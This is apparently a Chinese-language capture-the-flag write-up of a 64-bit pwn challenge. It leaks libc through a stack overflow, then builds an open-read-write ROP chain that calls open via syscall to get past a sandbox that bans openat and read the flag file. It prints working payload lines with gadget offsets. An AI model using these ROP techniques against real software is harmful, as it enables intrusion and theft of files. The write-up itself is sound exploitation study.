前言:最近打算学一手orw,然而网上的要么纯粹shellcode打的,简单到没有学习价值,要么是堆上的或者是那种目前菜鸡看不明白的汇编转的。。。正好想到以前学长出过orw的相关题,不过原环境需要检索查找flag,然后菜鸡还不怎么理解那种shellcraft写shell的。就把它搬到本地来,当作一个普普通通的用rop链来写的orw。(没有写这个的习惯,平时WP都是写的本地文件,不过网上也搜不到适合入门的,就写一写啦,而且看见好多爷都会写写,咱也跟风一下。)
废话不多说,上题(虽然废话好像不少)。
保护就简简单单的浅开了个nx(64位的)
然后是沙箱,openat被禁了,这个当时没注意,还是有群里的师傅无私解答才发现的(要不然还不知道得困惑多久,太感谢啦)
然后就是前面的判断啦,学长们出的题还是很有趣味性的
普普通通的判断,来个-1就能跳转过来到smallbox了,但文字很有趣味呀
然后这里有个朴实无华的栈溢出来用(给了这么大,我爱死)
先是泄露一下libc,back_addr我跳转回的是main函数(其实我也想直接跳转到这个smallbox来着,但是这个跳转多了会再puts卡住。。。所以还是回main吧)
payload = b'A'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(back_addr)
然后泄露出libc,可以从用ROPgadget从libc文件里找到pop_rdx_ret
计算出libc基址,然后找了open read write。(其实mprotect用不到,还是对可执行理解不深来着,本来先让bss开了一点可执行,然后orw,后来发现不开也可以的。打完之后更加理解了可执行,可写可读是因为里面放的是变量)
libc_base = puts_addr - libc.sym['puts']
read_addr = libc_base +libc.sym['read']
open_addr = libc_base +libc.sym['open']
write_addr = libc_base +libc.sym['write']
pop_rdx= libc_base + 0xfdd4d
pop_rsi = libc_base + 0x28ed9
bss = 0x602000
mprotect_addr = libc_base +libc.sym['mprotect']
pop_rax = libc_base + 0x3f0a7
syscall_addr = libc_base +libc.sym['syscall']
由于高版本libc里的open函数其实会调用openat,所以要用syscall来系统调用open。这里的syscall其实被打包成了函数(在群里师傅的提醒下咱第一次用,还以为跟ret2syscall例题中直接一条跳转的syscall呢,其实这个还封装好了对参数的调用。第一个参数会给rax,第二个会再给rdi,总之参数一次递推。)
写的时候没发现,所以用了syscall+23,寄存器自己提前pop好(其实不用这么麻烦)
然后先把flag这个名字写入bss
这里栈溢出跳转到read,然后往bss+0x500处写入了flag。(因为都是用read嘛,没有终止符号,也没有对应的标志后输出;刚开始还为怎么在跳转到read之后再输出,后来突然想到,我给那个read100个字节的填满不就好了,嘿嘿嘿)
这里是直接跳转回了那个smallbox函数
payload = b'A'*(0x48)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(pop_rdx)+p64(0x100)+p64(read_addr) +p64(ret_addr)+ p64(0x400b0c)+b'A'*(120-8)
print(len(payload))
sd(payload)
sd('./flag\x00\x00')
然后直接orw莽上去,对了,open要给第二个参数为0,可能是标置位的问题?
payload=b'A'*(0x48)+p64(pop_rdi)+p64(0x602500)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_addr+23)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x602500)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x602500)+p64(write_addr)
然后发送
吼吼吼,成功。
总结一下学习到的点吧:
1.高版本libc中调用open函数会调用openat函数,但它已经被禁用了
所以要使用syscall函数系统调用open(调用号是2)
但是低版本没有影响。
2.syscall函数相当于把rdi当作rax了,rsi->rdi其他参数依次递推
3.可以从libc里查找到各种pop
4.open需要将第二个参数置0
5.open打开后,需要选择一个地方去写入read,并且用write输出
6.read分开调用时,怎么做到用脚本输入呢?那就是把第一个read填满就好了。
以及不需要这种方法不需要无谓的mprotect。